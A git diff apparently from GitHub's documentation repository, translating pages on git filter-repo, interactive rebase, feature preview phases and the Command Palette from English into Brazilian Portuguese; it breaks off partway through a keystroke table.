-   - `FOLDER-NAME`: The folder within your project where you'd like to create a separate repository.
+5. Para filtrar a subpasta do restante dos arquivos no repositório, execute [`git filter-repo`](https://github.com/newren/git-filter-repo), fornecendo estas informações:
+   - `FOLDER-NAME`: A pasta dentro do seu projeto onde você deseja criar um repositório separado.
 
    {% windows %}
 
    {% tip %}
 
-   **Tip:** Windows users should use `/` to delimit folders.
+   **Dica:** os usuários do Windows devem usar `/` para delimitar as pastas.
 
    {% endtip %}
 
    {% endwindows %}
-  
+
    ```shell
    $ git filter-repo --path FOLDER-NAME1/ --path FOLDER-NAME2/
    # Filter the specified branch in your directory and remove empty commits
    > Rewrite 48dc599c80e20527ed902928085e7861e6b3cbe6 (89/89)
    > Ref 'refs/heads/<em>BRANCH-NAME</em>' was rewritten
    ```
-   
-   The repository should now only contain the files that were in your subfolder(s).
 
-6. [Create a new repository](/articles/creating-a-new-repository/) on {% data variables.product.product_name %}.
+   Agora o repositório deve conter apenas os arquivos que estava(m) na(s) subpasta(s).
 
-7. At the top of your new repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL.
-	
-   ![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png)
+6. [Crie um repositório](/articles/creating-a-new-repository/) no {% data variables.product.product_name %}.
+
+7. Na parte superior do seu novo repositório na página de Configuração Rápida de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, clique em {% octicon "clippy" aria-label="The copy to clipboard icon" %} para copiar a URL do repositório remoto.
+
+   ![Campo Copy remote repository URL (Copiar URL do repositório remote)](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png)
 
    {% tip %}
 
-   **Tip:** For information on the difference between HTTPS and SSH URLs, see "[About remote repositories](/github/getting-started-with-github/about-remote-repositories)."
+   **Dica:** Para obter informações sobre a diferença entre as URLs de HTTPS e SSH, consulte "[Sobre repositórios remotos](/github/getting-started-with-github/about-remote-repositories)".
 
    {% endtip %}
 
-8. Check the existing remote name for your repository. For example, `origin` or `upstream` are two common choices.
+8. Verifique o nome remoto do repositório. Por exemplo, `origin` ou `upstream` são duas escolhas comuns.
    ```shell
    $ git remote -v
    > origin  https://{% data variables.command_line.codeblock %}/<em>USERNAME/REPOSITORY-NAME</em>.git (fetch)
    > origin  https://{% data variables.command_line.codeblock %}/<em>USERNAME/REPOSITORY-NAME</em>.git (push)
    ```
 
-9. Set up a new remote URL for your new repository using the existing remote name and the remote repository URL you copied in step 7.
+9. Configure uma nova URL remota para o novo repositório usando o nome e a URL do repositório remote copiados na etapa 7.
    ```shell
    git remote set-url origin https://{% data variables.command_line.codeblock %}/<em>USERNAME/NEW-REPOSITORY-NAME</em>.git
    ```
 
-10. Verify that the remote URL has changed with your new repository name.
+10. Verifique se a URL remota mudou com o nome do novo repositório.
     ```shell
     $ git remote -v
     # Verify new remote URL
@@ -84,7 +85,7 @@ If you create a new clone of the repository, you won't lose any of your Git hist
     > origin  https://{% data variables.command_line.codeblock %}/<em>USERNAME/NEW-REPOSITORY-NAME</em>.git (push)
     ```
 
-11. Push your changes to the new repository on {% data variables.product.product_name %}.
+11. Faça push das alterações para o novo repositório no {% data variables.product.product_name %}.
     ```shell
     git push -u origin <em>BRANCH-NAME</em>
     ```
diff --git a/translations/pt-BR/content/get-started/using-git/using-git-rebase-on-the-command-line.md b/translations/pt-BR/content/get-started/using-git/using-git-rebase-on-the-command-line.md
index 95a87525e4..9f004501a4 100644
--- a/translations/pt-BR/content/get-started/using-git/using-git-rebase-on-the-command-line.md
+++ b/translations/pt-BR/content/get-started/using-git/using-git-rebase-on-the-command-line.md
@@ -1,24 +1,25 @@
 ---
-title: Using Git rebase on the command line
+title: Usar rebase do Git na linha de comando
 redirect_from:
   - /articles/using-git-rebase
   - /articles/using-git-rebase-on-the-command-line
   - /github/using-git/using-git-rebase-on-the-command-line
   - /github/getting-started-with-github/using-git-rebase-on-the-command-line
   - /github/getting-started-with-github/using-git/using-git-rebase-on-the-command-line
-intro: Here's a short tutorial on using `git rebase` on the command line.
+intro: Veja um breve tutorial sobre como usar `git rebase` na linha de comando.
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Git rebase
+shortTitle: Rebase do Git
 ---
-## Using Git rebase
 
-In this example, we will cover all of the `git rebase` commands available, except for `exec`.
+## Usando rebase do Git
 
-We'll start our rebase by entering `git rebase --interactive HEAD~7` on the terminal. Our favorite text editor will display the following lines:
+Neste exemplo, abordaremos todos os comandos `git rebase` disponíveis, exceto `exec`.
+
+Vamos começar digitando `git rebase --interactive HEAD~7` no terminal. O editor de texto exibirá as seguintes linhas:
 
 ```
 pick 1fc6c95 Patch A
@@ -30,17 +31,17 @@ pick 4ca2acc i cant' typ goods
 pick 7b36971 something to move before patch B
 ```
 
-In this example, we're going to:
+Neste exemplo, vamos:
 
-* Squash the fifth commit (`fa39187`) into the `"Patch A"` commit (`1fc6c95`), using `squash`.
-* Move the last commit (`7b36971`) up before the `"Patch B"` commit (`6b2481b`), and keep it as `pick`.
-* Merge the `"A fix for Patch B"` commit (`c619268`) into the `"Patch B"` commit (`6b2481b`), and disregard the commit message using `fixup`.
-* Split the third commit (`dd1475d`) into two smaller commits, using `edit`.
-* Fix the commit message of the misspelled commit (`4ca2acc`), using `reword`.
+* Combinar por squash o quinto commit (`fa39187`) no commit `"Patch A"` (`1fc6c95`) usando `squash`.
+* Mover o último commit (`7b36971`) para antes do commit `"Patch B"` (`6b2481b`) e mantê-lo como `pick`.
+* Fazer merge do commit `"A fix for Patch B"` (`c619268`) no commit `"Patch B"` (`6b2481b`) e desconsiderar a mensagem do commit usando `fixup`.
+* Dividir o terceiro commit (`dd1475d`) em dois commits menores usando `edit`.
+* Corrigir a mensagem do commit que apresenta erro ortográfico (`4ca2acc`) usando `reword`.
 
-Phew! This sounds like a lot of work, but by taking it one step at a time, we can easily make those changes.
+Ufa! Parece muito trabalho, mas, executando uma etapa de cada vez, podemos fazer essas alterações facilmente.
 
-To start, we'll need to modify the commands in the file to look like this:
+Para começar, precisamos modificar os comandos no arquivo para que fiquem assim:
 
 ```
 pick 1fc6c95 Patch A
@@ -52,35 +53,35 @@ edit dd1475d something I want to split
 reword 4ca2acc i cant' typ goods
 ```
 
-We've changed each line's command from `pick` to the command we're interested in.
+Alteramos o comando de cada linha de `pick` para o comando em que estamos interessados.
 
-Now, save and close the editor; this will start the interactive rebase.
+Agora, salve e feche o editor. Isso iniciará o rebase interativo.
 
-Git skips the first rebase command, `pick 1fc6c95`, since it doesn't need to do anything. It goes to the next command, `squash fa39187`. Since this operation requires your input, Git opens your text editor once again. The file it opens up looks something like this:
+O Git ignora o primeiro comando rebase `pick 1fc6c95`, já que não precisa fazer nada, e segue para o próximo comando, `squash fa39187`. Como essa operação requer entrada de dados, o Git abre o editor de texto novamente. O arquivo aberto é parecido com este:
 
 ```
-# This is a combination of two commits.
-# The first commit's message is:
+# Esta é uma combinação de dois commits.
+# A mensagem do primeiro commit é:
 
 Patch A
 
-# This is the 2nd commit message:
+# Esta é a mensagem do segundo commit:
 
 something to add to patch A
 
-# Please enter the commit message for your changes. Lines starting
-# with '#' will be ignored, and an empty message aborts the commit.
-# Not currently on any branch.
-# Changes to be committed:
-#   (use "git reset HEAD <file>..." to unstage)
+# Insira a mensagem do commit para as alterações. Linhas começando
+# com '#' serão ignoradas, e uma mensagem vazia anula o commit.
+# Não atualmente em qualquer branch.
+# Alterações a receberem commit:
+#   (use "git reset HEAD <file>..." para remover o stage)
 #
-# modified:   a
+# modificado:   a
 #
 ```
 
-This file is Git's way of saying, "Hey, here's what I'm about to do with this `squash`." It lists the first commit's message (`"Patch A"`), and the second commit's message (`"something to add to patch A"`). If you're happy with these commit messages, you can save the file, and close the editor. Otherwise, you have the option of changing the commit message by simply changing the text.
+Este arquivo é a maneira de o Git dizer: "Veja o que estou prestes a fazer com este `squash`". Ele lista a mensagem do primeiro commit (`"Patch A"`) e a mensagem do segundo commit (`"something to add to patch A"`). Se você estiver satisfeito com essas mensagens, salve o arquivo e feche o editor. Caso contrário, tem a opção de alterar a mensagem do commit simplesmente mudando o texto.
 
-When the editor is closed, the rebase continues:
+Depois que o editor é fechado, o rebase continua:
 
 ```
 pick 1fc6c95 Patch A
@@ -92,42 +93,42 @@ edit dd1475d something I want to split
 reword 4ca2acc i cant' typ goods
 ```
 
-Git processes the two `pick` commands (for `pick 7b36971` and `pick 6b2481b`). It *also* processes the `fixup` command (`fixup c619268`), since it doesn't require any interaction. `fixup` merges the changes from `c619268` into the commit before it, `6b2481b`. Both changes will have the same commit message: `"Patch B"`.
+O Git processa os dois comandos `pick` (para `pick 7b36971` e `pick 6b2481b`). Ele *também* processa o comando `fixup` (`fixup c619268`), já que não requer interação. `fixup` faz merge das alterações de `c619268` para o commit antes dele, `6b2481b`. As duas alterações têm a mesma mensagem do commit: `"Patch B"`.
 
-Git gets to the `edit dd1475d` operation, stops, and prints the following message to the terminal:
+O Git obtém a operação `edit dd1475d`, para e imprime a seguinte mensagem no terminal:
 
 ```shell
-You can amend the commit now, with
+Você pode corrigir o commit agora com
 
         git commit --amend
 
-Once you are satisfied with your changes, run
+Quando estiver satisfeito com as alterações, execute
 
         git rebase --continue
 ```
 
-At this point, you can edit any of the files in your project to make any additional changes. For each change you make, you'll need to perform a new commit, and you can do that by entering the `git commit --amend` command. When you're finished making all your changes, you can run `git rebase --continue`.
+Neste ponto, você pode editar qualquer arquivo no projeto para fazer outras alterações. É necessário realizar um novo commit para cada alteração feita. Você pode fazer isso digitando o comando `git commit --amend`. Quando terminar de fazer as alterações, execute `git rebase --continue`.
 
-Git then gets to the `reword 4ca2acc` command.  It opens up your text editor one more time, and presents the following information:
+O Git então obtém o comando `reword 4ca2acc`.  Ele abre o editor de texto mais uma vez e apresenta as seguintes informações:
 
 ```
 i cant' typ goods
 
-# Please enter the commit message for your changes. Lines starting
-# with '#' will be ignored, and an empty message aborts the commit.
-# Not currently on any branch.
-# Changes to be committed:
-#   (use "git reset HEAD^1 <file>..." to unstage)
+# Insira a mensagem do commit para as alterações. Linhas começando
+# com '#' serão ignoradas, e uma mensagem vazia anula o commit.
+# Não atualmente em qualquer branch.
+# Alterações a receberem commit:
+#   (use "git reset HEAD <file>..." para remover o stage)
 #
-# modified:   a
+# modificado:   a
 #
 ```
 
-As before, Git is showing the commit message for you to edit. You can change the text (`"i cant' typ goods"`), save the file, and close the editor. Git will finish the rebase and return you to the terminal.
+Como antes, o Git mostra a mensagem do commit para você editar. Altere o texto (`"i cant' typ goods"`), salve o arquivo e feche o editor. O Git terminará o rebase e retornará para o terminal.
 
-## Pushing rebased code to GitHub
+## Fazer push de código com rebase para o GitHub
 
-Since you've altered Git history, the usual `git push origin` **will not** work. You'll need to modify the command by "force-pushing" your latest changes:
+Como você alterou o histórico do Git, o `git push origin` normal **não** funcionará. É preciso modificar o comando forçando o push das alterações mais recentes:
 
 ```shell
 # Don't override changes
@@ -139,10 +140,10 @@ $ git push origin main --force
 
 {% warning %}
 
-Force pushing has serious implications because it changes the historical sequence of commits for the branch. Use it with caution, especially if your repository is being accessed by multiple people.
+Forçar push tem implicações sérias, pois ele muda a sequência histórica de commits para o branch. Use-o com cuidado, especialmente se o repositório estiver sendo acessado por várias pessoas.
 
 {% endwarning %}
 
-## Further reading
+## Leia mais
 
-* "[Resolving merge conflicts after a Git rebase](/github/getting-started-with-github/resolving-merge-conflicts-after-a-git-rebase)"
+* "[Resolver conflitos de merge após rebase do GitHub](/github/getting-started-with-github/resolving-merge-conflicts-after-a-git-rebase)"
diff --git a/translations/pt-BR/content/get-started/using-github/exploring-early-access-releases-with-feature-preview.md b/translations/pt-BR/content/get-started/using-github/exploring-early-access-releases-with-feature-preview.md
index 3b8bdfe7b5..127e9c14ce 100644
--- a/translations/pt-BR/content/get-started/using-github/exploring-early-access-releases-with-feature-preview.md
+++ b/translations/pt-BR/content/get-started/using-github/exploring-early-access-releases-with-feature-preview.md
@@ -1,6 +1,6 @@
 ---
-title: Exploring early access releases with feature preview
-intro: You can use feature preview to see products or features that are available in beta and to enable or disable each feature for your user account.
+title: Explorar versões de acesso antecipado com visualização de recursos
+intro: Você pode usar a visualização de recursos para ver produtos ou recursos que estão disponíveis na versão beta e para habilitar ou desabilitar cada recurso para sua conta de usuário.
 redirect_from:
   - /articles/exploring-early-access-releases-with-feature-preview
   - /github/getting-started-with-github/exploring-early-access-releases-with-feature-preview
@@ -10,22 +10,22 @@ versions:
   ghec: '*'
 topics:
   - Early access
-shortTitle: Feature preview
+shortTitle: Visualização do recurso
 ---
-## {% data variables.product.prodname_dotcom %}'s release cycle
 
-{% data variables.product.prodname_dotcom %}'s products and features can go through multiple release phases.
+## Ciclo de versões do {% data variables.product.prodname_dotcom %}
 
-| Phase | Description |
-|-------|-------------|
-| Alpha | The product or feature is under heavy development and often has changing requirements and scope. The feature is available for demonstration and test purposes but may not be documented. Alpha releases are not necessarily feature complete, no service level agreements (SLAs) are provided, and there are no technical support obligations. <br><br> **Note**: A product or feature released as a "Technology Preview" is considered to be in the alpha release stage. Technology Preview releases share the same characteristics of alpha releases as described above.|
-| Beta | The product or feature is ready for broader distribution. Beta releases can be public or private, are documented, but do not have any SLAs or technical support obligations. |
-| General availability (GA) | The product or feature is fully tested and open publicly to all users. GA releases are ready for production use, and associated SLA and technical support obligations apply. |
+Os produtos e recursos do {% data variables.product.prodname_dotcom %} podem passar por várias fases de versão.
 
-## Exploring beta releases with feature preview
+| Fase                       | Descrição                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
+| -------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Alfa                       | O produto ou recurso está em pleno desenvolvimento e tem seus requisitos e seu escopo alterados com frequência. O recurso está disponível para fins de demonstração e teste, mas não está documentado. Nas versões alfa, os recursos não estão necessariamente completos, não são fornecidos Contratos de nível de serviço (SLAs) e não existe obrigação de oferecer suporte técnico. <br><br> **Observação**: Um produto ou recurso lançado como uma "Visualização de tecnologia" é considerado na fase de versão alfa. As versões de visualização de tecnologias compartilham as mesmas características das versões alfa, conforme descrito acima. |
+| Beta                       | O produto ou recurso está pronto para uma distribuição mais ampla. As versões beta podem ser públicas ou privadas e estão documentadas, mas não têm obrigação de oferecer suporte técnico ou SLAs.                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
+| Disponibilidade geral (GA) | O produto ou recurso está totalmente testado e é disponibilizado publicamente a todos os usuários. As versões GA estão prontas para uso na produção e há obrigação de suporte técnico e SLAs associados.                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
 
-You can see a list of features that are available in beta and a brief description for each feature. Each feature includes a link to give feedback.
+## Explorar versões beta com visualização de recursos
+
+Você pode ver uma lista de recursos disponíveis na versão beta e uma breve descrição de cada um deles. Cada recurso inclui um link para dar feedback.
 
 {% data reusables.feature-preview.feature-preview-setting  %}
-2. Optionally, to the right of a feature, click **Enable** or **Disable**.
-  ![Enable button in feature preview](/assets/images/help/settings/enable-feature-button.png)
+2. Outra opção é clicar em **Enable** (Habilitar) ou **Disable** (Desabilitar) à direita de um recurso. ![Botão Enable (Habilitar) na visualização de recursos](/assets/images/help/settings/enable-feature-button.png)
diff --git a/translations/pt-BR/content/get-started/using-github/github-command-palette.md b/translations/pt-BR/content/get-started/using-github/github-command-palette.md
index 37b977176b..34a893d571 100644
--- a/translations/pt-BR/content/get-started/using-github/github-command-palette.md
+++ b/translations/pt-BR/content/get-started/using-github/github-command-palette.md
@@ -1,220 +1,218 @@
 ---
-title: GitHub Command Palette
-intro: 'Use the command palette in {% data variables.product.product_name %} to navigate, search, and run commands directly from your keyboard.'
+title: Paleta de comando do GitHub
+intro: 'Use a paleta de comandos em {% data variables.product.product_name %} para navegar, pesquisar e executar comandos diretamente do seu teclado.'
 versions:
-  fpt: '*'
-  ghec: '*'
-  feature: 'command-palette'
-shortTitle: GitHub Command Palette
+  feature: command-palette
+shortTitle: Paleta de comando do GitHub
 ---
 
 {% data reusables.command-palette.beta-note %}
 
-## About the {% data variables.product.prodname_command_palette %}
+## Sobre o {% data variables.product.prodname_command_palette %}
 
-You can navigate, search, and run commands on {% data variables.product.product_name %} with the {% data variables.product.prodname_command_palette %}. The command palette is an on-demand way to show suggestions based on your current context and resources you've used recently. You can open the command palette with a keyboard shortcut from anywhere on {% data variables.product.product_name %}, which saves you time and keeps your hands on the keyboard.
+Você pode navegar, pesquisar e executar comandos em {% data variables.product.product_name %} com o {% data variables.product.prodname_command_palette %}. A paleta de comandos é uma forma personalizada de mostrar sugestões com base no seu contexto atual e nos recursos que você usou recentemente. Você pode abrir a paleta de comandos com um atalho de teclado de qualquer lugar em {% data variables.product.product_name %}, que economiza tempo e mantém as mãos no teclado.
 
-### Fast navigation
+### Navegação rápida
 
-When you open the command palette, the suggestions are optimized to give you easy access from anywhere in a repository, user account, or organization to top-level pages like the Issues page. If the location you want isn't listed, start entering the name or number for the location to refine the suggestions.
+Ao abrira paleta de comando, as sugestões são otimizadas para facilitar o acesso a partir de qualquer lugar em um repositório, conta de usuário, ou organização para páginas de nível superior, como a página de problemas. Se o local que você deseja não estiver listado, comece a digitar o nome ou número para a localização refinar as sugestões.
 
-![Command palette repository suggestions](/assets/images/help/command-palette/command-palette-navigation-repo-default.png)
+![Sugestões da paleta de comandos](/assets/images/help/command-palette/command-palette-navigation-repo-default.png)
 
-### Easy access to commands
+### Acesso fácil aos comandos
 
-The ability to run commands directly from your keyboard, without navigating through a series of menus, may change the way you use {% data variables.product.prodname_dotcom %}. For example, you can switch themes with a few keystrokes, making it easy to toggle between themes as your needs change.
+A capacidade de executar comandos diretamente do seu teclado, sem navegar por meio de uma série de menus pode alterar a forma como você usa {% data variables.product.prodname_dotcom %}. Por exemplo, você pode alternar temas com algumas teclas pressionadas, facilitando a alternância entre temas à medida que as suas necessidades forem mudando.
 
-![Command palette change theme](/assets/images/help/command-palette/command-palette-command-change-theme.png)
+![Alterar tema da paleta de comandos](/assets/images/help/command-palette/command-palette-command-change-theme.png)
 
-## Opening the {% data variables.product.prodname_command_palette %}
+## Abrindo o {% data variables.product.prodname_command_palette %}
 
-Open the command palette using one of the following keyboard shortcuts:
-- Windows and Linux: <kbd>Ctrl</kbd><kbd>k</kbd> or <kbd>Ctrl</kbd><kbd>alt</kbd><kbd>k</kbd> 
-- Mac: <kbd>⌘</kbd><kbd>k</kbd> or <kbd>⌘</kbd><kbd>option</kbd><kbd>k</kbd>
+Abra a paleta de comandos usando um dos seguintes atalhos de teclado:
+- Windows e Linux: <kbd>Ctrl</kbd>+<kbd>K</kbd> or <kbd>Ctrl</kbd>+<kbd>Alt</kbd>+<kbd>K</kbd>
+- Mac: <kbd>Command</kbd>+<kbd>K</kbd> ou <kbd>Command</kbd>+<kbd>Option</kbd>+<kbd>K</kbd>
 
-When you open the command palette, it shows your location at the top left and uses it as the scope for suggestions (for example, the `mashed-avocado` organization). 
+Ao abrir a paleta de comando, ela mostra sua localização no canto superior esquerdo e a usa como o escopo de sugestões (por exemplo, a organização `mashed-avocado`).
 
-![Command palette launch](/assets/images/help/command-palette/command-palette-launch.png)
+![Lançamento da paleta de comando](/assets/images/help/command-palette/command-palette-launch.png)
 
 {% note %}
 
-**Notes:**
-- If you are editing Markdown text, open the command palette with <kbd>Ctrl</kbd><kbd>alt</kbd><kbd>k</kbd> (Windows and Linux) or <kbd>⌘</kbd><kbd>option</kbd><kbd>k</kbd> (Mac).
-- If you are working on a project (beta), a project-specific command palette is displayed instead. For more information, see "[Customizing your project (beta) views](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)."
+**Notas:**
+- Se você estiver editando o texto do Markdown, abra a paleta de comandos com <kbd>Ctrl</kbd>+<kbd>Alt</kbd>+<kbd>K</kbd> (Windows e Linux) ou <kbd>Comando</kbd>+<kbd>Opção</kbd>+<kbd>K</kbd> (Mac).
+- Se você estiver trabalhando em um projeto (beta), uma paleta de comandos específica do projeto será exibida no lugar. Para obter mais informações, consulte "[Personalizar as visualizações do seu projeto (beta)](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)".
 
 {% endnote %}
 
-## Navigating with the {% data variables.product.prodname_command_palette %}
+## Navegando com {% data variables.product.prodname_command_palette %}
 
-You can use the command palette to navigate to any page that you have access to on {% data variables.product.product_name %}. 
+Você pode usar a paleta de comandos para navegar para qualquer página que você tenha acesso em {% data variables.product.product_name %}.
 
 {% data reusables.command-palette.open-palette %}
 
-2. Start typing the path you want to navigate to. The suggestions in the command palette change to match your text. 
+2. Comece a digitar o caminho para o qual você deseja navegar. As sugestões na paleta de comandos são alteradas para corresponder ao seu texto.
 
-   ![Command palette navigation current scope](/assets/images/help/command-palette/command-palette-navigation-current-scope.png)
+   ![Escopo atual da paleta de navegação](/assets/images/help/command-palette/command-palette-navigation-current-scope.png)
 
 {% data reusables.command-palette.change-scope %}
 
-   You can also use keystrokes to narrow your search. For more information, see "[Keystroke functions](#keystroke-functions)."
+   Você também pode usar teclas pressionadas para restringir a sua pesquisa. Para obter mais informações, consulte "[Funções de Teclado](#keystroke-functions)".
 
-4. Finish entering the path, or use the arrow keys to highlight the path you want from the list of suggestions.
+4. Termine de inserir no caminho ou use as teclas de seta para destacar o caminho que você deseja a partir da lista de sugestões.
 
-5. Use <kbd>Enter</kbd> to jump to your chosen location. Alternatively, use <kbd>Ctrl</kbd><kbd>Enter</kbd> (Windows and Linux) or <kbd>⌘</kbd><kbd>Enter</kbd> (Mac) to open the location in a new browser tab.
+5. Use <kbd>Enter</kbd> para pular para o local escolhido. Como alternativa, use <kbd>Ctrl</kbd>+<kbd>Enter</kbd> (Windows e Linux) or <kbd>Command</kbd>+<kbd>Enter</kbd> (Mac) para abrir o local na aba de um novo navegador.
 
-## Searching with the {% data variables.product.prodname_command_palette %}
+## Pesquisando com {% data variables.product.prodname_command_palette %}
 
-You can use the command palette to search for anything on {% data variables.product.product_location %}. 
+Você pode usar a paleta de comandos para pesquisar qualquer coisa em {% data variables.product.product_location %}.
 
 {% data reusables.command-palette.open-palette %}
 
 {% data reusables.command-palette.change-scope %}
 
-3. Optionally, use keystrokes to find specific types of resource: 
+3. Opcionalmente, use teclas pressionadas para encontrar tipos específicos de recursos:
 
-   - <kbd>#</kbd> Search for issues, pull requests, discussions, and projects
-   - <kbd>!</kbd> Search for projects
-   - <kbd>@</kbd> Search for users, organizations, and repositories
-   - <kbd>/</kbd> Search for files within a repository scope 
+   - <kbd>#</kbd> Pesquisa problemas, pull requests, discussões e projetos
+   - <kbd>!</kbd> Pesquisa projetos
+   - <kbd>@</kbd> Pesquisa usuários, organizações e repositórios
+   - <kbd>/</kbd> Pesquisa arquivos dentro do escopo de um repositório
 
-   ![Command palette search files](/assets/images/help/command-palette/command-palette-search-files.png)
+   ![Arquivos de pesquisa da paleta de comando](/assets/images/help/command-palette/command-palette-search-files.png)
 
-4. Begin entering your search terms. The command palette will offer you a range of suggested searches based on your search scope.
+4. Comece a inserir seus termos de pesquisa. A paleta de comandos irá oferecer um intervalo de pesquisas sugeridas com base no seu escopo de pesquisa.
 
    {% tip %}
 
-   You can also use the full syntax of {% data variables.product.prodname_dotcom %}'s integrated search within the command palette. For more information, see "[Searching for information on {% data variables.product.prodname_dotcom %}](/search-github)."
+   Você também pode usar a sintaxe completa da pesquisa integrada de {% data variables.product.prodname_dotcom %} dentro da paleta de comando. Para obter mais informações, consulte "[Pesquisando informações sobre {% data variables.product.prodname_dotcom %}](/search-github)".
 
    {% endtip %}
 
-5. Use the arrow keys to highlight the search result you want and use <kbd>Enter</kbd> to jump to your chosen location. Alternatively, use <kbd>Ctrl</kbd><kbd>Enter</kbd> (Windows and Linux) or <kbd>⌘</kbd><kbd>Enter</kbd> (Mac) to open the location in a new browser tab.
+5. Use as setas do teclado para destacar o resultado da pesquisa que você deseja e use <kbd>Enter</kbd> para pular para a localização escolhida. Como alternativa, use <kbd>Ctrl</kbd>+<kbd>Enter</kbd> (Windows e Linux) or <kbd>Command</kbd>+<kbd>Enter</kbd> (Mac) para abrir o local na aba de um novo navegador.
 
-## Running commands from the {% data variables.product.prodname_command_palette %}
+## Executando comandos a partir de {% data variables.product.prodname_command_palette %}
 
-You can use the {% data variables.product.prodname_command_palette %} to run commands. For example, you can create a new repository or issue, or change your theme. When you run a command, the location for its action is determined by either the underlying page or the scope shown in the command palette.
+Você pode usar o {% data variables.product.prodname_command_palette %} para executar comandos. Por exemplo, você pode criar um novo repositório ou problema ou alterar seu tema. Quando você executa um comando, o local para sua ação é determinado pela página subjacente ou pelo escopo mostrado na paleta de comandos.
 
-- Pull request and issue commands always run on the underlying page.
-- Higher-level commands, for example, repository commands, run in the scope shown in the command palette. 
+- Os comandos de pull request e problemas sempre são executados na página subjacente.
+- Os comandos de alto nível, por exemplo, comandos de repositório, são executados no escopo exibido na paleta de comandos.
 
-For a full list of supported commands, see "[{% data variables.product.prodname_command_palette %} reference](#github-command-palette-reference)."
+Para obter uma lista completa dos comandos compatíveis, consulte "[Referência de {% data variables.product.prodname_command_palette %}](#github-command-palette-reference)".
 
-1. Use <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>k</kbd> (Windows and Linux) or <kbd>⌘</kbd><kbd>Shift</kbd><kbd>k</kbd> (Mac) to open the command palette in command mode. If you already have the command palette open, press <kbd>></kbd> to switch to command mode. {% data variables.product.prodname_dotcom %} suggests commands based on your location.
+1. Use <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>K</kbd> (Windows e Linux) ou <kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>K</kbd> (Mac) para abrir a paleta de comandos no modo de comando. Se você já tiver a paleta de comandos aberta, pressione <kbd>></kbd> para alternar para o modo de comando. {% data variables.product.prodname_dotcom %} sugere comandos baseados na sua localização.
 
-   ![Command palette command mode](/assets/images/help/command-palette/command-palette-command-mode.png)
+   ![Modo de comando da paleta de comando](/assets/images/help/command-palette/command-palette-command-mode.png)
 
 {% data reusables.command-palette.change-scope %}
 
-3. If the command you want is not displayed, check your scope then start entering the command name in the text box.
+3. Se o comando que você deseja não for exibido, verifique seu escopo e, em seguida, comece a digitar o nome do comando na caixa de texto.
 
-4. Use the arrow keys to highlight the command you want and use <kbd>Enter</kbd> to run it.
+4. Use as setas do teclado para destacar o comando que você deseja e use <kbd>Enter</kbd> para executá-lo.
 
-## Closing the command palette
+## Fechando a paleta de comandos
 
-When the command palette is active, you can use one of the following keyboard shortcuts to close the command palette:
+Quando a paleta de comando está ativa, você pode usar um dos seguintes atalhos de teclado para fechar a paleta de comandos:
 
-- Search and navigation mode: <kbd>esc</kbd> or <kbd>Ctrl</kbd><kbd>k</kbd> (Windows and Linux)  <kbd>⌘</kbd><kbd>k</kbd> (Mac)
-- Command mode: <kbd>esc</kbd> or <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>k</kbd> (Windows and Linux)  <kbd>⌘</kbd><kbd>Shift</kbd><kbd>k</kbd> (Mac)
+- Modo de pesquisa e navegação: <kbd>Esc</kbd> ou <kbd>Ctrl</kbd>+<kbd>K</kbd> (Windows e Linux)  <kbd>Command</kbd>+<kbd>K</kbd> (Mac)
+- Modo de comando: <kbd>Esc</kbd> ou <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>K</kbd> (Windows e Linux)  <kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>K</kbd> (Mac)
 
-## {% data variables.product.prodname_command_palette %} reference
+## Referência de {% data variables.product.prodname_command_palette %}
 
-### Keystroke functions
+### Funções de keystrokes
 
-These keystrokes are available when the command palette is in navigation and search modes, that is, they are not available in command mode.
+Essas keystrokes estão disponíveis quando a paleta de comandos está nos modos de navegação e pesquisa, isto é, elas não estão disponíveis no modo de comando.
 
-| Keystroke | Function |
-| :- | :- |
-|<kbd>></kbd>| Enter command mode. For more information, see "[Running commands from the {% data variables.product.prodname_command_palette %}](#running-commands-from-the-github-command-palette)." |
-|<kbd>#</kbd>| Search for issues, pull requests, discussions, and projects. For more information, see "[Searching with the {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette)."|
-|<kbd>@</kbd>| Search for users, organizations, and repositories. For more information, see "[Searching with the {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette)."|
-|<kbd>/</kbd>| Search for files within a repository scope or repositories within an organization scope. For more information, see "[Searching with the {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette)." |
-|<kbd>!</kbd>| Search just for projects. For more information, see "[Searching with the {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette)."|
-|<kbd>Ctrl</kbd><kbd>c</kbd> or <kbd>⌘</kbd><kbd>c</kbd>| Copy the search or navigation URL for the highlighted result to the clipboard.|
-|<kbd>Enter</kbd>| Jump to the highlighted result or run the highlighted command.|
-|<kbd>Ctrl</kbd><kbd>Enter</kbd> or <kbd>⌘</kbd><kbd>Enter</kbd>| Open the highlighted search or navigation result in a new brower tab.|
-|<kbd>?</kbd>| Display help within the command palette.|
+| Keystroke                                                               | Function                                                                                                                                                                                                                                                             |
+|:----------------------------------------------------------------------- |:-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <kbd>></kbd>                                                            | Entre no modo de comando. Para obter mais informações, consulte "["Executando os comandos a partir de {% data variables.product.prodname_command_palette %}](#running-commands-from-the-github-command-palette)."                                                  |
